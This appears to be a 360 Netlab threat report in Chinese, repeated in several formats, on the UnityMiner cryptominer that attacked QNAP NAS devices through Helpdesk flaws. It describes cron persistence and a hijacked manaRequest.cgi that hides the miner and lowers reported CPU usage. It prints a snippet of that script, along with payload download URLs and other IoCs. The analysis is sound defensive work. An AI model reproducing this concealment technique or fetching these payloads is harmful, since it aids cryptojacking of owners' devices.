SS-1879U
SS-1279U
QGD-1600
Mustang-200
IS-400
HS-251
HS-210
</code></pre>
<p>360 Quake网络空间测绘系统通过对全网资产测绘，发现QNAP NAS共4297426条数据记录，其中有951486个独立IP， 设备具体分布如下图所示。<br>
<a href="__GHOST_URL__/content/images/2021/03/qnap_statics.png"><img src="__GHOST_URL__/content/images/2021/03/qnap_statics.png" class="kg-image"/></a></p>
<h3 id="">挖矿套件简析</h3>
<h4 id="1">1. 概况</h4>
<p>挖矿套件由 <strong>unity_install.sh</strong> 和 <strong>Quick.tar.gz</strong> 组成，<strong>unity_install.sh</strong> 用来下载&设置&启动挖矿程序，并劫持原设备中的 <code>manaRequest.cgi</code> 程序；<strong>Quick.tar.gz</strong> 中则打包了矿机程序、矿机配置文件、矿机启动脚本和伪造的<code>manaRequest.cgi</code> ：</p>
<pre><code>Quick
├── config.json
├── manaRequest.cgi
├── start.sh
└── unity
</code></pre>
<p>其中 <code>unity</code> 为 XMRig 矿机程序，因此暂时将此挖矿套件命名为 <strong>UnityMiner</strong>。</p>
<h4 id="2unity_installsh">2. unity_install.sh</h4>
<p><strong>核心功能</strong>：</p>
<ul>
<li>检查是否存在旧的 <code>unity</code> 进程，存在则 Kill 掉 <code>unity</code> 进程</li>
<li>检查设备 CPU 架构，下载相应的挖矿套件，支持 ARM64 和 AMD64 两种 CPU 架构</li>
<li>根据 CPU 核数设置 config.json 中的挖矿参数（用半数的 CPU 核来挖矿）</li>
<li>解压矿机套件，设置 cron 并执行挖矿脚本 <code>start.sh</code>(每分钟执行一次，时间间隔设置为 <code>* * * * *</code>)</li>
</ul>
<h4 id="3startsh">3. start.sh</h4>
<p><strong>核心功能</strong>：</p>
<ul>
<li>检查 <code>unity</code> 进程，不存在则启动本地 <code>unity</code> 挖矿程序；</li>
<li>把系统文件 <code>/home/httpd/cgi-bin/management/manaRequest.cgi</code> 重命名为 <code>manaRequests.cgi</code> (该文件负责设备系统信息的查看和修改，参考 <a href="http://www.kmyzst.com/h-nd-47.html">通过API 取得和修改nas 的信息demo程序</a> )</li>
<li>把 <strong>Quick.tar.gz</strong> 中的 <code>manaRequest.cgi</code> 文件复制到 <code>/home/httpd/cgi-bin/management/</code> 目录中，替换系统自身的同名文件。</li>
</ul>
<h4 id="4configjson">4. config.json</h4>
<p>该团伙用自己搭建的 Pool(Proxy)，所以无法看到真实的 XMR Wallet。挖矿配置共 3 组，<code>user</code> 都是 <code>"xmr2"</code> ，<code>pass</code> 都是 <code>"x"</code> ，Pool(Proxy) 分别如下：</p>
<pre><code>aquamangts.tk:12933
a.aquamangts.tk:12933
b.aquamangts.tk:12933
</code></pre>
<h4 id="5manarequestcgi">5. manaRequest.cgi</h4>
<p><strong>核心功能</strong>：</p>
<ul>
<li>劫持系统的原同名文件，收到 HTTP 请求后，先检测系统中是否存在 <code>unity</code> 挖矿进程，如果不存在，则直接把 HTTP 请求转给系统原同名文件(已被重命名为 <code>manaRequests.cgi</code> )处理，之后结束执行：</li>
</ul>
<pre><code>count=`ps -fe | grep unity | grep -v "grep"`
if [ "" == "$count" ];then
/home/httpd/cgi-bin/management/manaRequests.cgi
exit 0
fi
</code></pre>
<ul>
<li>如果系统中存在 <code>unity</code> 挖矿进程，则在把 HTTP 请求转给系统原同名文件执行后，把执行的结果记录下来(存放到 <code>.log.log</code>文件中)，然后篡改执行结果：
<ol>
<li>把 CPU 状态数据(usage 和 tempc) 都减去 50</li>
<li>删除执行结果中 <code>unity</code> 进程信息</li>
</ol>
</li>
</ul>
<p>之后，伪造的 <code>manaRequest.cgi</code> 会把真实的 <code>manaRequest.cgi</code> 执行后篡改的数据，以 <code>cat .log.log</code> 的方式返回给请求方，这样系统管理界面就不会从设备信息中发现异常，从而达到隐藏挖矿进程的目的。</p>
<h3 id="">处置建议</h3>
<p>我们建议QNAP NAS用户及时检查并更新固件系统，同时检查是否存在异常进程和网络连接。<br>
我们建议读者对相关IP和URL进行监控和封锁。</p>
<h3 id="">联系我们</h3>
<p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者通过邮件<strong>netlab[at]360.cn</strong>联系我们。</p>
<h3 id="ioc">IoC</h3>
<p>IP:</p>
<pre><code>210.201.136.170 Taiwan ASN9311 HITRON TECHNOLOGY INC.
</code></pre>
<p>Miner Proxy:</p>
<pre><code>aquamangts.tk:12933
a.aquamangts.tk:12933
b.aquamangts.tk:12933
</code></pre>
<p>URL:</p>
<pre><code>http://c.aquamangts.tk:8080/QFS/install/unity_install.sh
http://c.aquamangts.tk:8080/QFS/arm64/Quick.tar.gz
http://c.aquamangts.tk:8080/QFS/amd64/Quick.tar.gz
</code></pre>
<p>MD5:</p>
<pre><code>0f40086c9e96c9c11232a9175b26c644
1eb01a23a122d077540f83b005abdbfc
97015323b4fd840a40a9d40d2ad4e7af
</code></pre>
<h3 id="">招聘信息</h3>
<p>360网络安全研究院在杭州新成立了一个产品团队，把我们的安全数据和技术产品化，探索网络安全行业未知威胁检测难题，为360安全大脑添砖加瓦。</p>
<p>从一次平凡的网络扫描，到漏洞、样本、安全事件分析，再到0-day漏洞检测、未知恶意软件检测、高级威胁追踪，我们致力于通过数据驱动安全，构建网络安全看得见的能力。</p>
<p>招聘岗位：<br>
前端开发工程师、后端开发工程师、产品经理、安全工程师、算法工程师</p>
<p>详情链接：<a href="__GHOST_URL__/work-in-hangzhou/">https://blog.netlab.360.com/work-in-hangzhou/</a></p>
<!--kg-card-end: markdown--> | 背景介绍
2021年3月2号，360网络安全研究院未知威胁检测系统监测到攻击者正在使用台湾QNAP Systems, Inc.公司的网络存储设备诊断程序(Helpdesk)的未授权远程命令执行漏洞（CVE-2020-2506 & CVE-2020-2507），获取到系统root权限并进行恶意挖矿攻击。
我们将此次挖矿程序命名为UnityMiner，值得注意的是攻击者专门针对QNAP NAS设备特性，隐藏了挖矿进程，隐藏了真实的CPU内存资源占用信息，使用户无法在Web管理界面看到系统异常行为。
2020年10月7号，QNAP Systems, Inc.公司发布安全公告QSA-20-08[1]，并指出已在Helpdesk 3.0.3和更高版本中解决了这些问题。
目前，互联网上还没有公布CVE-2020-2506和CVE-2020-2507的漏洞详细信息，由于该漏洞威胁程度极高，为保护尚未修复漏洞的QNAP NAS用户，我们不公开该漏洞技术细节。我们推测仍有数十万个在线的QNAP NAS设备存在该漏洞。
此前我们曾披露了另一起QNAP NAS在野漏洞攻击事件[2]。
注意：该攻击事件仍在进行中，攻击者具备优质的1-day漏洞资源，并根据QNAP设备特性定制化开发。
漏洞影响范围
360 FirmwareTotal系统通过对QNAP NAS固件分析和漏洞验证，发现2020年8月以前的固件均受该漏洞影响，以下是已知固件列表。
TVS-X73
TVS-X71U
TVS-X71
TVS-X63
TS-XA82
TS-XA73
TS-XA28A
TS-X89U
TS-X88
TS-X85U
TS-X85
TS-X83XU
TS-X82U
TS-X82S
TS-X82
TS-X80U
TS-X80
TS-X77U
TS-X77
TS-X73U
TS-X72U
TS-X72
TS-X63U
TS-X53U
TS-X53S
TS-X53D
TS-X53BU
TS-X53B
TS-X53A
TS-X53
TS-X51U
TS-X51DU
TS-X51B
TS-X51A
TS-X51
TS-X35A
TS-X28A
TS-KVM
TS-879U
TS-879
TS-870U
TS-870
TS-869U
TS-869
TS-859U
TS-859
TS-809U
TS-809
TS-670
TS-669
TS-659
TS-639
TS-569
TS-559
TS-509
TS-470
TS-469U
TS-469
TS-459U
TS-459
TS-439U
TS-439PROII
TS-439
TS-421U
TS-421
TS-420U
TS-420
TS-419U
TS-419P
TS-412U
TS-412
TS-410
TS-269
TS-259
TS-239PROII
TS-239H
TS-239
TS-221
TS-220
TS-219
TS-212
TS-210
TS-1679U
TS-1279U
TS-1270U
TS-1269U
TS-121
TS-120
TS-119
TS-112
TS-110
TS-1079
SS-839
SS-439
SS-2479U
SS-1879U
SS-1279U
QGD-1600
Mustang-200
IS-400
HS-251
HS-210
360 Quake网络空间测绘系统通过对全网资产测绘，发现QNAP NAS共4297426条数据记录，其中有951486个独立IP， 设备具体分布如下图所示。
挖矿套件简析
1. 概况
挖矿套件由 unity_install.sh 和 Quick.tar.gz 组成，unity_install.sh 用来下载&设置&启动挖矿程序，并劫持原设备中的 manaRequest.cgi 程序；Quick.tar.gz 中则打包了矿机程序、矿机配置文件、矿机启动脚本和伪造的manaRequest.cgi ：
Quick
├── config.json
├── manaRequest.cgi
├── start.sh
└── unity
其中 unity 为 XMRig 矿机程序，因此暂时将此挖矿套件命名为 UnityMiner。
2. unity_install.sh
核心功能：
* 检查是否存在旧的 unity 进程，存在则 Kill 掉 unity 进程
* 检查设备 CPU 架构，下载相应的挖矿套件，支持 ARM64 和 AMD64 两种 CPU 架构
* 根据 CPU 核数设置 config.json 中的挖矿参数（用半数的 CPU 核来挖矿）
* 解压矿机套件，设置 cron 并执行挖矿脚本 start.sh(每分钟执行一次，时间间隔设置为 * * * * *)
3. start.sh
核心功能：
* 检查 unity 进程，不存在则启动本地 unity 挖矿程序；
* 把系统文件 /home/httpd/cgi-bin/management/manaRequest.cgi 重命名为 manaRequests.cgi (该文件负责设备系统信息的查看和修改，参考 通过API 取得和修改nas 的信息demo程序 )
* 把 Quick.tar.gz 中的 manaRequest.cgi 文件复制到 /home/httpd/cgi-bin/management/ 目录中，替换系统自身的同名文件。
4. config.json
该团伙用自己搭建的 Pool(Proxy)，所以无法看到真实的 XMR Wallet。挖矿配置共 3 组，user 都是 "xmr2" ，pass 都是 "x" ，Pool(Proxy) 分别如下：
aquamangts.tk:12933
a.aquamangts.tk:12933
b.aquamangts.tk:12933
5. manaRequest.cgi
核心功能：
* 劫持系统的原同名文件，收到 HTTP 请求后，先检测系统中是否存在 unity 挖矿进程，如果不存在，则直接把 HTTP 请求转给系统原同名文件(已被重命名为 manaRequests.cgi )处理，之后结束执行：
count=`ps -fe | grep unity | grep -v "grep"`
if [ "" == "$count" ];then
/home/httpd/cgi-bin/management/manaRequests.cgi
exit 0
fi
* 如果系统中存在 unity 挖矿进程，则在把 HTTP 请求转给系统原同名文件执行后，把执行的结果记录下来(存放到 .log.log文件中)，然后篡改执行结果：
1. 把 CPU 状态数据(usage 和 tempc) 都减去 50
2. 删除执行结果中 unity 进程信息
之后，伪造的 manaRequest.cgi 会把真实的 manaRequest.cgi 执行后篡改的数据，以 cat .log.log 的方式返回给请求方，这样系统管理界面就不会从设备信息中发现异常，从而达到隐藏挖矿进程的目的。
处置建议
我们建议QNAP NAS用户及时检查并更新固件系统，同时检查是否存在异常进程和网络连接。
我们建议读者对相关IP和URL进行监控和封锁。
联系我们
感兴趣的读者，可以在 twitter 或者通过邮件netlab[at]360.cn联系我们。
IoC
IP:
210.201.136.170 Taiwan ASN9311 HITRON TECHNOLOGY INC.
Miner Proxy:
aquamangts.tk:12933
a.aquamangts.tk:12933
b.aquamangts.tk:12933
URL:
http://c.aquamangts.tk:8080/QFS/install/unity_install.sh
http://c.aquamangts.tk:8080/QFS/arm64/Quick.tar.gz
http://c.aquamangts.tk:8080/QFS/amd64/Quick.tar.gz
MD5:
0f40086c9e96c9c11232a9175b26c644
1eb01a23a122d077540f83b005abdbfc
97015323b4fd840a40a9d40d2ad4e7af
招聘信息
360网络安全研究院在杭州新成立了一个产品团队，把我们的安全数据和技术产品化，探索网络安全行业未知威胁检测难题，为360安全大脑添砖加瓦。
从一次平凡的网络扫描，到漏洞、样本、安全事件分析，再到0-day漏洞检测、未知恶意软件检测、高级威胁追踪，我们致力于通过数据驱动安全，构建网络安全看得见的能力。
招聘岗位：
前端开发工程师、后端开发工程师、产品经理、安全工程师、算法工程师
详情链接：https://blog.netlab.360.com/work-in-hangzhou/
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"### 背景介绍\n2021年3月2号，360网络安全研究院未知威胁检测系统监测到攻击者正在使用台湾QNAP Systems, Inc.公司的网络存储设备诊断程序(Helpdesk)的未授权远程命令执行漏洞（CVE-2020-2506 & CVE-2020-2507），获取到系统root权限并进行恶意挖矿攻击。\n\n我们将此次挖矿程序命名为UnityMiner，值得注意的是攻击者专门针对QNAP NAS设备特性，隐藏了挖矿进程，隐藏了真实的CPU内存资源占用信息，使用户无法在Web管理界面看到系统异常行为。\n\n2020年10月7号，QNAP Systems, Inc.公司发布安全公告QSA-20-08[[1]](https://www.qnap.com.cn/zh-tw/security-advisory/qsa-20-08)，并指出已在Helpdesk 3.0.3和更高版本中解决了这些问题。\n\n目前，互联网上还没有公布CVE-2020-2506和CVE-2020-2507的漏洞详细信息，由于该漏洞威胁程度极高，为保护尚未修复漏洞的QNAP NAS用户，我们不公开该漏洞技术细节。我们推测仍有数十万个在线的QNAP NAS设备存在该漏洞。\n\n此前我们曾披露了另一起QNAP NAS在野漏洞攻击事件[[2]](__GHOST_URL__/in-the-wild-qnap-nas-attacks/)。\n\n*注意：该攻击事件仍在进行中，攻击者具备优质的1-day漏洞资源，并根据QNAP设备特性定制化开发。*\n\n### 漏洞影响范围\n360 FirmwareTotal系统通过对QNAP NAS固件分析和漏洞验证，发现2020年8月以前的固件均受该漏洞影响，以下是已知固件列表。\n```\nTVS-X73\nTVS-X71U\nTVS-X71\nTVS-X63\nTS-XA82\nTS-XA73\nTS-XA28A\nTS-X89U\nTS-X88\nTS-X85U\nTS-X85\nTS-X83XU\nTS-X82U\nTS-X82S\nTS-X82\nTS-X80U\nTS-X80\nTS-X77U\nTS-X77\nTS-X73U\nTS-X72U\nTS-X72\nTS-X63U\nTS-X53U\nTS-X53S\nTS-X53D\nTS-X53BU\nTS-X53B\nTS-X53A\nTS-X53\nTS-X51U\nTS-X51DU\nTS-X51B\nTS-X51A\nTS-X51\nTS-X35A\nTS-X28A\nTS-KVM\nTS-879U\nTS-879\nTS-870U\nTS-870\nTS-869U\nTS-869\nTS-859U\nTS-859\nTS-809U\nTS-809\nTS-670\nTS-669\nTS-659\nTS-639\nTS-569\nTS-559\nTS-509\nTS-470\nTS-469U\nTS-469\nTS-459U\nTS-459\nTS-439U\nTS-439PROII\nTS-439\nTS-421U\nTS-421\nTS-420U\nTS-420\nTS-419U\nTS-419P\nTS-412U\nTS-412\nTS-410\nTS-269\nTS-259\nTS-239PROII\nTS-239H\nTS-239\nTS-221\nTS-220\nTS-219\nTS-212\nTS-210\nTS-1679U\nTS-1279U\nTS-1270U\nTS-1269U\nTS-121\nTS-120\nTS-119\nTS-112\nTS-110\nTS-1079\nSS-839\nSS-439\nSS-2479U\nSS-1879U\nSS-1279U\nQGD-1600\nMustang-200\nIS-400\nHS-251\nHS-210\n```\n\n360 Quake网络空间测绘系统通过对全网资产测绘，发现QNAP NAS共4297426条数据记录，其中有951486个独立IP， 设备具体分布如下图所示。\n<a href=\"__GHOST_URL__/content/images/2021/03/qnap_statics.png\"><img src=\"__GHOST_URL__/content/images/2021/03/qnap_statics.png\" class=\"kg-image\"/></a>\n\n### 挖矿套件简析\n\n#### 1. 概况\n挖矿套件由 **unity_install.sh** 和 **Quick.tar.gz** 组成，**unity_install.sh** 用来下载&设置&启动挖矿程序，并劫持原设备中的 `manaRequest.cgi` 程序；**Quick.tar.gz** 中则打包了矿机程序、矿机配置文件、矿机启动脚本和伪造的`manaRequest.cgi` ：\n\n```\nQuick\n├── config.json\n├── manaRequest.cgi\n├── start.sh\n└── unity\n```\n\n其中 `unity` 为 XMRig 矿机程序，因此暂时将此挖矿套件命名为 **UnityMiner**。\n\n#### 2. unity_install.sh\n\n**核心功能**：\n- 检查是否存在旧的 `unity` 进程，存在则 Kill 掉 `unity` 进程\n- 检查设备 CPU 架构，下载相应的挖矿套件，支持 ARM64 和 AMD64 两种 CPU 架构\n- 根据 CPU 核数设置 config.json 中的挖矿参数（用半数的 CPU 核来挖矿）\n- 解压矿机套件，设置 cron 并执行挖矿脚本 `start.sh`(每分钟执行一次，时间间隔设置为 `* * * * *`)\n\n#### 3. start.sh\n\n**核心功能**：\n- 检查 `unity` 进程，不存在则启动本地 `unity` 挖矿程序；\n- 把系统文件 `/home/httpd/cgi-bin/management/manaRequest.cgi` 重命名为 `manaRequests.cgi` (该文件负责设备系统信息的查看和修改，参考 [通过API 取得和修改nas 的信息demo程序](http://www.kmyzst.com/h-nd-47.html) )\n- 把 **Quick.tar.gz** 中的 `manaRequest.cgi` 文件复制到 `/home/httpd/cgi-bin/management/` 目录中，替换系统自身的同名文件。\n\n#### 4. config.json\n\n该团伙用自己搭建的 Pool(Proxy)，所以无法看到真实的 XMR Wallet。挖矿配置共 3 组，`user` 都是 `\"xmr2\"` ，`pass` 都是 `\"x\"` ，Pool(Proxy) 分别如下：\n\n```\naquamangts.tk:12933\na.aquamangts.tk:12933\nb.aquamangts.tk:12933\n```\n\n#### 5. manaRequest.cgi\n\n**核心功能**：\n- 劫持系统的原同名文件，收到 HTTP 请求后，先检测系统中是否存在 `unity` 挖矿进程，如果不存在，则直接把 HTTP 请求转给系统原同名文件(已被重命名为 `manaRequests.cgi` )处理，之后结束执行：\n\n```\ncount=`ps -fe | grep unity | grep -v \"grep\"`\nif [ \"\" == \"$count\" ];then\n /home/httpd/cgi-bin/management/manaRequests.cgi\n exit 0\nfi\n```\n\n- 如果系统中存在 `unity` 挖矿进程，则在把 HTTP 请求转给系统原同名文件执行后，把执行的结果记录下来(存放到 `.log.log`文件中)，然后篡改执行结果：\n 1. 把 CPU 状态数据(usage 和 tempc) 都减去 50\n 2. 删除执行结果中 `unity` 进程信息\n\n之后，伪造的 `manaRequest.cgi` 会把真实的 `manaRequest.cgi` 执行后篡改的数据，以 `cat .log.log` 的方式返回给请求方，这样系统管理界面就不会从设备信息中发现异常，从而达到隐藏挖矿进程的目的。\n\n### 处置建议\n我们建议QNAP NAS用户及时检查并更新固件系统，同时检查是否存在异常进程和网络连接。\n我们建议读者对相关IP和URL进行监控和封锁。\n\n### 联系我们\n感兴趣的读者，可以在 [**twitter**](https://twitter.com/360Netlab) 或者通过邮件**netlab[at]360.cn**联系我们。\n\n\n### IoC\nIP:\n```\n210.201.136.170 \tTaiwan \tASN9311 \tHITRON TECHNOLOGY INC.\n```\n\nMiner Proxy:\n```\naquamangts.tk:12933\na.aquamangts.tk:12933\nb.aquamangts.tk:12933\n```\n\nURL:\n```\nhttp://c.aquamangts.tk:8080/QFS/install/unity_install.sh\nhttp://c.aquamangts.tk:8080/QFS/arm64/Quick.tar.gz\nhttp://c.aquamangts.tk:8080/QFS/amd64/Quick.tar.gz\n```\n\nMD5:\n```\n0f40086c9e96c9c11232a9175b26c644\n1eb01a23a122d077540f83b005abdbfc\n97015323b4fd840a40a9d40d2ad4e7af\n```\n\n\n### 招聘信息\n360网络安全研究院在杭州新成立了一个产品团队，把我们的安全数据和技术产品化，探索网络安全行业未知威胁检测难题，为360安全大脑添砖加瓦。\n\n从一次平凡的网络扫描，到漏洞、样本、安全事件分析，再到0-day漏洞检测、未知恶意软件检测、高级威胁追踪，我们致力于通过数据驱动安全，构建网络安全看得见的能力。\n\n招聘岗位：\n前端开发工程师、后端开发工程师、产品经理、安全工程师、算法工程师\n\n详情链接：__GHOST_URL__/work-in-hangzhou/\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 603f5cdad0d9b7000712c0c8 |